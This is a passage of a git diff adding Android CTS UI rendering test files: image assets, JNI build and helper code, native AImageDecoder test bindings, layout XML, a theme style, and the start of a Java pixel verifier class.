index 0000000..7f7a181
--- /dev/null
+++ b/tests/tests/uirendering/assets/blendBG_001.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/blendBG_002.png b/tests/tests/uirendering/assets/blendBG_002.png
new file mode 100644
index 0000000..59b039c
--- /dev/null
+++ b/tests/tests/uirendering/assets/blendBG_002.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/blendBG_003.png b/tests/tests/uirendering/assets/blendBG_003.png
new file mode 100644
index 0000000..76e1fe2
--- /dev/null
+++ b/tests/tests/uirendering/assets/blendBG_003.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/blendBG_004.png b/tests/tests/uirendering/assets/blendBG_004.png
new file mode 100644
index 0000000..59b039c
--- /dev/null
+++ b/tests/tests/uirendering/assets/blendBG_004.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/blendBG_005.png b/tests/tests/uirendering/assets/blendBG_005.png
new file mode 100644
index 0000000..c2dba9f
--- /dev/null
+++ b/tests/tests/uirendering/assets/blendBG_005.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/blendBG_006.png b/tests/tests/uirendering/assets/blendBG_006.png
new file mode 100644
index 0000000..f0a4393
--- /dev/null
+++ b/tests/tests/uirendering/assets/blendBG_006.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_001.png b/tests/tests/uirendering/assets/required_001.png
new file mode 100644
index 0000000..4387398
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_001.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_002.png b/tests/tests/uirendering/assets/required_002.png
new file mode 100644
index 0000000..70efbf9
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_002.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_003.png b/tests/tests/uirendering/assets/required_003.png
new file mode 100644
index 0000000..f42081e
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_003.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_004.png b/tests/tests/uirendering/assets/required_004.png
new file mode 100644
index 0000000..0d3fd95
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_004.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_005.png b/tests/tests/uirendering/assets/required_005.png
new file mode 100644
index 0000000..110035c
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_005.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_006.png b/tests/tests/uirendering/assets/required_006.png
new file mode 100644
index 0000000..b7a7283
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_006.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_gif.gif b/tests/tests/uirendering/assets/required_gif.gif
new file mode 100644
index 0000000..91a9fd1
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_gif.gif
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_webp.webp b/tests/tests/uirendering/assets/required_webp.webp
new file mode 100644
index 0000000..9f9a8f8
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_webp.webp
Binary files differ
diff --git a/tests/tests/uirendering/assets/stoplight.webp b/tests/tests/uirendering/assets/stoplight.webp
new file mode 100644
index 0000000..8cc1199
--- /dev/null
+++ b/tests/tests/uirendering/assets/stoplight.webp
Binary files differ
diff --git a/tests/tests/uirendering/assets/stoplight_001.png b/tests/tests/uirendering/assets/stoplight_001.png
new file mode 100644
index 0000000..a1a0b29
--- /dev/null
+++ b/tests/tests/uirendering/assets/stoplight_001.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/stoplight_002.png b/tests/tests/uirendering/assets/stoplight_002.png
new file mode 100644
index 0000000..9ac6017
--- /dev/null
+++ b/tests/tests/uirendering/assets/stoplight_002.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/sunset1.jpg b/tests/tests/uirendering/assets/sunset1.jpg
new file mode 100644
index 0000000..3b30b36
--- /dev/null
+++ b/tests/tests/uirendering/assets/sunset1.jpg
Binary files differ
diff --git a/tests/tests/uirendering/jni/Android.bp b/tests/tests/uirendering/jni/Android.bp
new file mode 100644
index 0000000..78a5bb1
--- /dev/null
+++ b/tests/tests/uirendering/jni/Android.bp
@@ -0,0 +1,40 @@
+// Copyright 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test_library {
+    name: "libctsuirendering_jni",
+    gtest: false,
+    srcs: [
+        "CtsUiRenderingJniOnLoad.cpp",
+        "android_uirendering_cts_AImageDecoderTest.cpp",
+        "NativeTestHelpers.cpp",
+    ],
+    include_dirs: ["system/core/include"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+    shared_libs: [
+        "libandroid",
+        "liblog",
+        "libjnigraphics",
+        "libnativehelper",
+    ],
+    stl: "c++_static",
+    sdk_version: "current",
+}
diff --git a/tests/tests/uirendering/jni/CtsUiRenderingJniOnLoad.cpp b/tests/tests/uirendering/jni/CtsUiRenderingJniOnLoad.cpp
new file mode 100644
index 0000000..c0e10aa
--- /dev/null
+++ b/tests/tests/uirendering/jni/CtsUiRenderingJniOnLoad.cpp
@@ -0,0 +1,28 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+
+extern int register_android_uirendering_cts_AImageDecoderTest(JNIEnv*);
+
+jint JNI_OnLoad(JavaVM* vm, void* /*reserved*/) {
+    JNIEnv* env = nullptr;
+    if (vm->GetEnv((void**)&env, JNI_VERSION_1_4) != JNI_OK)
+        return JNI_ERR;
+    if (register_android_uirendering_cts_AImageDecoderTest(env))
+        return JNI_ERR;
+    return JNI_VERSION_1_4;
+}
diff --git a/tests/tests/uirendering/jni/NativeTestHelpers.cpp b/tests/tests/uirendering/jni/NativeTestHelpers.cpp
new file mode 100644
index 0000000..b225ec9
--- /dev/null
+++ b/tests/tests/uirendering/jni/NativeTestHelpers.cpp
@@ -0,0 +1,43 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#include "NativeTestHelpers.h"
+
+#include <cstdlib>
+#include <cstring>
+#include "jni.h"
+
+// This file is copied over from CtsGraphicsTestCases, so that
+// CtsUiRenderingTestCases can have the same functionality.
+void fail(JNIEnv *env, const char *format, ...) {
+  va_list args;
+
+  va_start(args, format);
+  char *msg;
+  vasprintf(&msg, format, args);
+  va_end(args);
+
+  jclass exClass;
+
+  // CtsGraphicsTestsCases has an exception to access the private constructor
+  // for AssertionError. This utility class allows creating a java.lang.AssertionError
+  // with a single String argument so it can be created by ThrowNew.
+  const char *className = "android/uirendering/cts/util/AssertionError";
+  exClass = env->FindClass(className);
+  env->ThrowNew(exClass, msg);
+  free(msg);
+}
diff --git a/tests/tests/uirendering/jni/NativeTestHelpers.h b/tests/tests/uirendering/jni/NativeTestHelpers.h
new file mode 100644
index 0000000..5538ed5
--- /dev/null
+++ b/tests/tests/uirendering/jni/NativeTestHelpers.h
@@ -0,0 +1,53 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#ifndef ANDROID_NATIVETESTHELPERS_H
+#define ANDROID_NATIVETESTHELPERS_H
+
+#include <android/log.h>
+#include <jni.h>
+
+// This file is copied over from CtsGraphicsTestCases, so that
+// CtsUiRenderingTestCases can have the same functionality.
+#define ASSERT(condition, format, args...)                                     \
+  if (!(condition)) {                                                          \
+    fail(env, format, ##args);                                                 \
+    return;                                                                    \
+  }
+
+#define ASSERT_TRUE(a) ASSERT((a), "assert failed on (" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_FALSE(a) ASSERT(!(a), "assert failed on (!" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_EQ(a, b) \
+        ASSERT((a) == (b), "assert failed on (" #a " == " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_NE(a, b) \
+        ASSERT((a) != (b), "assert failed on (" #a " != " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_GT(a, b) \
+        ASSERT((a) > (b), "assert failed on (" #a " > " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_GE(a, b) \
+        ASSERT((a) >= (b), "assert failed on (" #a " >= " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_LT(a, b) \
+        ASSERT((a) < (b), "assert failed on (" #a " < " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_LE(a, b) \
+        ASSERT((a) <= (b), "assert failed on (" #a " <= " #b ") at " __FILE__ ":%d", __LINE__)
+
+#define ALOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
+
+// Raises a java exception.
+void fail(JNIEnv *env, const char *format, ...);
+
+#endif  // ANDROID_NATIVETESTHELPERS_H
+
diff --git a/tests/tests/uirendering/jni/android_uirendering_cts_AImageDecoderTest.cpp b/tests/tests/uirendering/jni/android_uirendering_cts_AImageDecoderTest.cpp
new file mode 100644
index 0000000..4321327
--- /dev/null
+++ b/tests/tests/uirendering/jni/android_uirendering_cts_AImageDecoderTest.cpp
@@ -0,0 +1,320 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_TAG "AImageDecoderTest"
+
+#include <jni.h>
+#include <android/asset_manager.h>
+#include <android/asset_manager_jni.h>
+#include <android/bitmap.h>
+#include <android/imagedecoder.h>
+#include <android/rect.h>
+
+#include "NativeTestHelpers.h"
+
+#include <cstdlib>
+#include <cstring>
+#include <initializer_list>
+
+#define ALOGD(...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__)
+
+static void testNullDecoder(JNIEnv* env, jobject) {
+#pragma clang diagnostic push
+#pragma clang diagnostic ignored "-Wnonnull"
+    ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, AImageDecoder_advanceFrame(nullptr));
+
+    ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, AImageDecoder_rewind(nullptr));
+
+    AImageDecoder_setInternallyHandleDisposePrevious(nullptr, true);
+    AImageDecoder_setInternallyHandleDisposePrevious(nullptr, false);
+#pragma clang diagnostic pop
+}
+
+static void testToString(JNIEnv* env, jobject) {
+    struct {
+        int resultCode;
+        const char* string;
+    } map[] = {
+        { ANDROID_IMAGE_DECODER_SUCCESS,            "ANDROID_IMAGE_DECODER_SUCCESS" },
+        { ANDROID_IMAGE_DECODER_INCOMPLETE,         "ANDROID_IMAGE_DECODER_INCOMPLETE" },
+        { ANDROID_IMAGE_DECODER_ERROR,              "ANDROID_IMAGE_DECODER_ERROR" },
+        { ANDROID_IMAGE_DECODER_INVALID_CONVERSION, "ANDROID_IMAGE_DECODER_INVALID_CONVERSION" },
+        { ANDROID_IMAGE_DECODER_INVALID_SCALE,      "ANDROID_IMAGE_DECODER_INVALID_SCALE" },
+        { ANDROID_IMAGE_DECODER_BAD_PARAMETER,      "ANDROID_IMAGE_DECODER_BAD_PARAMETER" },
+        { ANDROID_IMAGE_DECODER_INVALID_INPUT,      "ANDROID_IMAGE_DECODER_INVALID_INPUT" },
+        { ANDROID_IMAGE_DECODER_SEEK_ERROR,         "ANDROID_IMAGE_DECODER_SEEK_ERROR" },
+        { ANDROID_IMAGE_DECODER_INTERNAL_ERROR,     "ANDROID_IMAGE_DECODER_INTERNAL_ERROR" },
+        { ANDROID_IMAGE_DECODER_UNSUPPORTED_FORMAT, "ANDROID_IMAGE_DECODER_UNSUPPORTED_FORMAT" },
+        { ANDROID_IMAGE_DECODER_FINISHED,           "ANDROID_IMAGE_DECODER_FINISHED" },
+        { ANDROID_IMAGE_DECODER_INVALID_STATE,      "ANDROID_IMAGE_DECODER_INVALID_STATE" },
+    };
+
+    for (const auto& item : map) {
+        const char* str = AImageDecoder_resultToString(item.resultCode);
+        ASSERT_EQ(0, strcmp(item.string, str));
+    }
+
+    for (int i : { ANDROID_IMAGE_DECODER_SUCCESS + 1,
+                   ANDROID_IMAGE_DECODER_INVALID_STATE - 1,
+                   2, 7, 37, 42 }) {
+        ASSERT_EQ(nullptr, AImageDecoder_resultToString(i));
+    }
+}
+
+static jlong openAsset(JNIEnv* env, jobject, jobject jAssets, jstring jFile) {
+    AAssetManager* nativeManager = AAssetManager_fromJava(env, jAssets);
+    const char* file = env->GetStringUTFChars(jFile, nullptr);
+    AAsset* asset = AAssetManager_open(nativeManager, file, AASSET_MODE_UNKNOWN);
+    if (!asset) {
+        fail(env, "Could not open %s", file);
+    } else {
+        ALOGD("Testing %s", file);
+    }
+    env->ReleaseStringUTFChars(jFile, file);
+    return reinterpret_cast<jlong>(asset);
+}
+
+static void closeAsset(JNIEnv*, jobject, jlong asset) {
+    AAsset_close(reinterpret_cast<AAsset*>(asset));
+}
+
+static jlong createFromAsset(JNIEnv* env, jobject, jlong asset) {
+    AImageDecoder* decoder = nullptr;
+    int result = AImageDecoder_createFromAAsset(reinterpret_cast<AAsset*>(asset), &decoder);
+    if (ANDROID_IMAGE_DECODER_SUCCESS != result || !decoder) {
+        fail(env, "Failed to create AImageDecoder with %s!",
+             AImageDecoder_resultToString(result));
+    }
+    return reinterpret_cast<jlong>(decoder);
+}
+
+static jint getWidth(JNIEnv*, jobject, jlong decoder) {
+    const auto* info = AImageDecoder_getHeaderInfo(reinterpret_cast<AImageDecoder*>(decoder));
+    return AImageDecoderHeaderInfo_getWidth(info);
+}
+
+static jint getHeight(JNIEnv*, jobject, jlong decoder) {
+    const auto* info = AImageDecoder_getHeaderInfo(reinterpret_cast<AImageDecoder*>(decoder));
+    return AImageDecoderHeaderInfo_getHeight(info);
+}
+
+static void deleteDecoder(JNIEnv*, jobject, jlong decoder) {
+    AImageDecoder_delete(reinterpret_cast<AImageDecoder*>(decoder));
+}
+
+static jint setTargetSize(JNIEnv*, jobject, jlong decoder_ptr, jint width, jint height) {
+    return AImageDecoder_setTargetSize(reinterpret_cast<AImageDecoder*>(decoder_ptr),
+                                       width, height);
+}
+
+static jint setCrop(JNIEnv*, jobject, jlong decoder_ptr, jint left, jint top,
+                    jint right, jint bottom) {
+    return AImageDecoder_setCrop(reinterpret_cast<AImageDecoder*>(decoder_ptr),
+                                 {left, top, right, bottom});
+}
+
+static void decode(JNIEnv* env, jobject, jlong decoder_ptr, jobject jBitmap, jint expected) {
+    auto* decoder = reinterpret_cast<AImageDecoder*>(decoder_ptr);
+    AndroidBitmapInfo info;
+    if (AndroidBitmap_getInfo(env, jBitmap, &info) != ANDROID_BITMAP_RESULT_SUCCESS) {
+        fail(env, "Failed to getInfo on a Bitmap!");
+        return;
+    }
+
+    void* pixels;
+    if (AndroidBitmap_lockPixels(env, jBitmap, &pixels) != ANDROID_BITMAP_RESULT_SUCCESS) {
+        fail(env, "Failed to lock pixels!");
+        return;
+    }
+
+    const int result = AImageDecoder_decodeImage(decoder, pixels, info.stride,
+                                                 info.stride * info.height);
+    if (result != expected) {
+        fail(env, "Unexpected result from AImageDecoder_decodeImage: %s",
+             AImageDecoder_resultToString(result));
+        // Don't return yet, so we can unlockPixels.
+    }
+
+    if (AndroidBitmap_unlockPixels(env, jBitmap) != ANDROID_BITMAP_RESULT_SUCCESS) {
+        const char* msg = "Failed to unlock pixels!";
+        if (env->ExceptionCheck()) {
+            // Do not attempt to throw an Exception while one is pending.
+            ALOGE("%s", msg);
+        } else {
+            fail(env, msg);
+        }
+    }
+}
+
+static jint advanceFrame(JNIEnv*, jobject, jlong decoder_ptr) {
+    auto* decoder = reinterpret_cast<AImageDecoder*>(decoder_ptr);
+    return AImageDecoder_advanceFrame(decoder);
+}
+
+static jint rewind_decoder(JNIEnv*, jobject, jlong decoder) {
+    return AImageDecoder_rewind(reinterpret_cast<AImageDecoder*>(decoder));
+}
+
+static jint setUnpremultipliedRequired(JNIEnv*, jobject, jlong decoder, jboolean required) {
+    return AImageDecoder_setUnpremultipliedRequired(reinterpret_cast<AImageDecoder*>(decoder),
+                                                    required);
+}
+
+static jint setAndroidBitmapFormat(JNIEnv*, jobject, jlong decoder, jint format) {
+    return AImageDecoder_setAndroidBitmapFormat(reinterpret_cast<AImageDecoder*>(decoder),
+                                                format);
+}
+
+static jint setDataSpace(JNIEnv*, jobject, jlong decoder, jint dataSpace) {
+    return AImageDecoder_setDataSpace(reinterpret_cast<AImageDecoder*>(decoder),
+                                      dataSpace);
+}
+
+static jlong createFrameInfo(JNIEnv*, jobject) {
+    return reinterpret_cast<jlong>(AImageDecoderFrameInfo_create());
+}
+
+static void deleteFrameInfo(JNIEnv*, jobject, jlong frameInfo) {
+    AImageDecoderFrameInfo_delete(reinterpret_cast<AImageDecoderFrameInfo*>(frameInfo));
+}
+
+static jint getFrameInfo(JNIEnv*, jobject, jlong decoder, jlong frameInfo) {
+    return AImageDecoder_getFrameInfo(reinterpret_cast<AImageDecoder*>(decoder),
+                                      reinterpret_cast<AImageDecoderFrameInfo*>(frameInfo));
+}
+
+static void testNullFrameInfo(JNIEnv* env, jobject, jobject jAssets, jstring jFile) {
+    AImageDecoderFrameInfo_delete(nullptr);
+
+#pragma clang diagnostic push
+#pragma clang diagnostic ignored "-Wnonnull"
+    {
+        auto* frameInfo = AImageDecoderFrameInfo_create();
+        ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, AImageDecoder_getFrameInfo(nullptr,
+                                                                                  frameInfo));
+        AImageDecoderFrameInfo_delete(frameInfo);
+    }
+    {
+        auto asset = openAsset(env, nullptr, jAssets, jFile);
+        auto decoder = createFromAsset(env, nullptr, asset);
+        AImageDecoderFrameInfo* info = nullptr;
+        ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, getFrameInfo(env, nullptr, decoder,
+                reinterpret_cast<jlong>(info)));
+
+        deleteDecoder(env, nullptr, decoder);
+        closeAsset(env, nullptr, asset);
+    }
+    {
+        ARect rect = AImageDecoderFrameInfo_getFrameRect(nullptr);
+        ASSERT_EQ(0, rect.left);
+        ASSERT_EQ(0, rect.top);
+        ASSERT_EQ(0, rect.right);
+        ASSERT_EQ(0, rect.bottom);
+    }
+
+    ASSERT_EQ(0, AImageDecoderFrameInfo_getDuration(nullptr));
+    ASSERT_FALSE(AImageDecoderFrameInfo_hasAlphaWithinBounds(nullptr));
+    ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, AImageDecoderFrameInfo_getDisposeOp(nullptr));
+    ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, AImageDecoderFrameInfo_getBlendOp(nullptr));
+#pragma clang diagnostic pop
+}
+
+static jlong getDuration(JNIEnv*, jobject, jlong frameInfo) {
+    return AImageDecoderFrameInfo_getDuration(reinterpret_cast<AImageDecoderFrameInfo*>(frameInfo));
+}
+
+static void testGetFrameRect(JNIEnv* env, jobject, jlong jFrameInfo, jint expectedLeft,
+                             jint expectedTop, jint expectedRight, jint expectedBottom) {
+    auto* frameInfo = reinterpret_cast<AImageDecoderFrameInfo*>(jFrameInfo);
+    ARect rect = AImageDecoderFrameInfo_getFrameRect(frameInfo);
+    if (rect.left != expectedLeft || rect.top != expectedTop || rect.right != expectedRight
+        || rect.bottom != expectedBottom) {
+        fail(env, "Mismatched frame rect! Expected: %i %i %i %i Actual: %i %i %i %i", expectedLeft,
+             expectedTop, expectedRight, expectedBottom, rect.left, rect.top, rect.right,
+             rect.bottom);
+    }
+}
+
+static jboolean getFrameAlpha(JNIEnv*, jobject, jlong frameInfo) {
+    return AImageDecoderFrameInfo_hasAlphaWithinBounds(
+            reinterpret_cast<AImageDecoderFrameInfo*>(frameInfo));
+}
+
+static jboolean getAlpha(JNIEnv*, jobject, jlong decoder) {
+    const auto* info = AImageDecoder_getHeaderInfo(reinterpret_cast<AImageDecoder*>(decoder));
+    return AImageDecoderHeaderInfo_getAlphaFlags(info) != ANDROID_BITMAP_FLAGS_ALPHA_OPAQUE;
+}
+
+static jint getDisposeOp(JNIEnv*, jobject, jlong frameInfo) {
+    return AImageDecoderFrameInfo_getDisposeOp(
+            reinterpret_cast<AImageDecoderFrameInfo*>(frameInfo));
+}
+
+static jint getBlendOp(JNIEnv*, jobject, jlong frameInfo) {
+    return AImageDecoderFrameInfo_getBlendOp(
+            reinterpret_cast<AImageDecoderFrameInfo*>(frameInfo));
+}
+
+static jint getRepeatCount(JNIEnv*, jobject, jlong decoder) {
+    return AImageDecoder_getRepeatCount(reinterpret_cast<AImageDecoder*>(decoder));
+}
+
+static void setHandleDisposePrevious(JNIEnv*, jobject, jlong decoder, jboolean handle) {
+    AImageDecoder_setInternallyHandleDisposePrevious(reinterpret_cast<AImageDecoder*>(decoder),
+                                                     handle);
+}
+
+#define ASSET_MANAGER "Landroid/content/res/AssetManager;"
+#define STRING "Ljava/lang/String;"
+#define BITMAP "Landroid/graphics/Bitmap;"
+
+static JNINativeMethod gMethods[] = {
+    { "nTestNullDecoder", "()V", (void*) testNullDecoder },
+    { "nTestToString", "()V", (void*) testToString },
+    { "nOpenAsset", "(" ASSET_MANAGER STRING ")J", (void*) openAsset },
+    { "nCloseAsset", "(J)V", (void*) closeAsset },
+    { "nCreateFromAsset", "(J)J", (void*) createFromAsset },
+    { "nGetWidth", "(J)I", (void*) getWidth },
+    { "nGetHeight", "(J)I", (void*) getHeight },
+    { "nDeleteDecoder", "(J)V", (void*) deleteDecoder },
+    { "nSetTargetSize", "(JII)I", (void*) setTargetSize },
+    { "nSetCrop", "(JIIII)I", (void*) setCrop },
+    { "nDecode", "(J" BITMAP "I)V", (void*) decode },
+    { "nAdvanceFrame", "(J)I", (void*) advanceFrame },
+    { "nRewind", "(J)I", (void*) rewind_decoder },
+    { "nSetUnpremultipliedRequired", "(JZ)I", (void*) setUnpremultipliedRequired },
+    { "nSetAndroidBitmapFormat", "(JI)I", (void*) setAndroidBitmapFormat },
+    { "nSetDataSpace", "(JI)I", (void*) setDataSpace },
+    { "nCreateFrameInfo", "()J", (void*) createFrameInfo },
+    { "nDeleteFrameInfo", "(J)V", (void*) deleteFrameInfo },
+    { "nGetFrameInfo", "(JJ)I", (void*) getFrameInfo },
+    { "nTestNullFrameInfo", "(" ASSET_MANAGER STRING ")V", (void*) testNullFrameInfo },
+    { "nGetDuration", "(J)J", (void*) getDuration },
+    { "nTestGetFrameRect", "(JIIII)V", (void*) testGetFrameRect },
+    { "nGetFrameAlpha", "(J)Z", (void*) getFrameAlpha },
+    { "nGetAlpha", "(J)Z", (void*) getAlpha },
+    { "nGetDisposeOp", "(J)I", (void*) getDisposeOp },
+    { "nGetBlendOp", "(J)I", (void*) getBlendOp },
+    { "nGetRepeatCount", "(J)I", (void*) getRepeatCount },
+    { "nSetHandleDisposePrevious", "(JZ)V", (void*) setHandleDisposePrevious },
+};
+
+int register_android_uirendering_cts_AImageDecoderTest(JNIEnv* env) {
+    jclass clazz = env->FindClass("android/uirendering/cts/testclasses/AImageDecoderTest");
+    return env->RegisterNatives(clazz, gMethods,
+            sizeof(gMethods) / sizeof(JNINativeMethod));
+}
+
diff --git a/tests/tests/uirendering/res/drawable-nodpi/extrabold1.png b/tests/tests/uirendering/res/drawable-nodpi/extrabold1.png
new file mode 100644
index 0000000..c247451
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable-nodpi/extrabold1.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/extrabolditalic1.png b/tests/tests/uirendering/res/drawable-nodpi/extrabolditalic1.png
new file mode 100644
index 0000000..5900db2
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable-nodpi/extrabolditalic1.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/lightitalic1.png b/tests/tests/uirendering/res/drawable-nodpi/lightitalic1.png
index ee3a210..f623854 100644
--- a/tests/tests/uirendering/res/drawable-nodpi/lightitalic1.png
+++ b/tests/tests/uirendering/res/drawable-nodpi/lightitalic1.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/padding_0.9.png b/tests/tests/uirendering/res/drawable-nodpi/padding_0.9.png
new file mode 100644
index 0000000..0127bf4
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable-nodpi/padding_0.9.png
Binary files differ
diff --git a/tests/tests/uirendering/res/layout/stretch_edge_effect_view.xml b/tests/tests/uirendering/res/layout/stretch_edge_effect_view.xml
new file mode 100644
index 0000000..fe75628
--- /dev/null
+++ b/tests/tests/uirendering/res/layout/stretch_edge_effect_view.xml
@@ -0,0 +1,20 @@
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+            http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+  -->
+<view class="android.uirendering.cts.testclasses.EdgeEffectTests$CustomEdgeEffectView"
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:edgeEffectType="stretch"
+/>
diff --git a/tests/tests/uirendering/res/layout/webview_canvas_rrect_clip.xml b/tests/tests/uirendering/res/layout/webview_canvas_rrect_clip.xml
new file mode 100644
index 0000000..ff1e3a1
--- /dev/null
+++ b/tests/tests/uirendering/res/layout/webview_canvas_rrect_clip.xml
@@ -0,0 +1,19 @@
+<!-- Copyright 2020 The Android Open Source Project
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+            http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+  -->
+<android.uirendering.cts.testclasses.view.WebviewCanvasRRectClip
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/webview_canvas_rrect_clip"
+    android:layout_width="@dimen/test_width"
+    android:layout_height="@dimen/test_height"/>
\ No newline at end of file
diff --git a/tests/tests/uirendering/res/values/themes.xml b/tests/tests/uirendering/res/values/themes.xml
index e75376b..b4284d5 100644
--- a/tests/tests/uirendering/res/values/themes.xml
+++ b/tests/tests/uirendering/res/values/themes.xml
@@ -30,4 +30,7 @@
         <item name="android:forceDarkAllowed">true</item>
         <item name="android:isLightTheme">true</item>
     </style>
+    <style name="StretchEdgeEffect" parent="@android:style/Theme.Material.Light">
+        <item name="android:edgeEffectType">stretch</item>
+    </style>
 </resources>
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/BlurPixelVerifier.java b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/BlurPixelVerifier.java
new file mode 100644
index 0000000..0f9f2d0
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/BlurPixelVerifier.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.bitmapverifiers;
+
+import android.graphics.Color;
+
+public class BlurPixelVerifier extends BitmapVerifier {
+
+    private final int mDstColor;
+    private final int mSrcColor;
+
+    /**
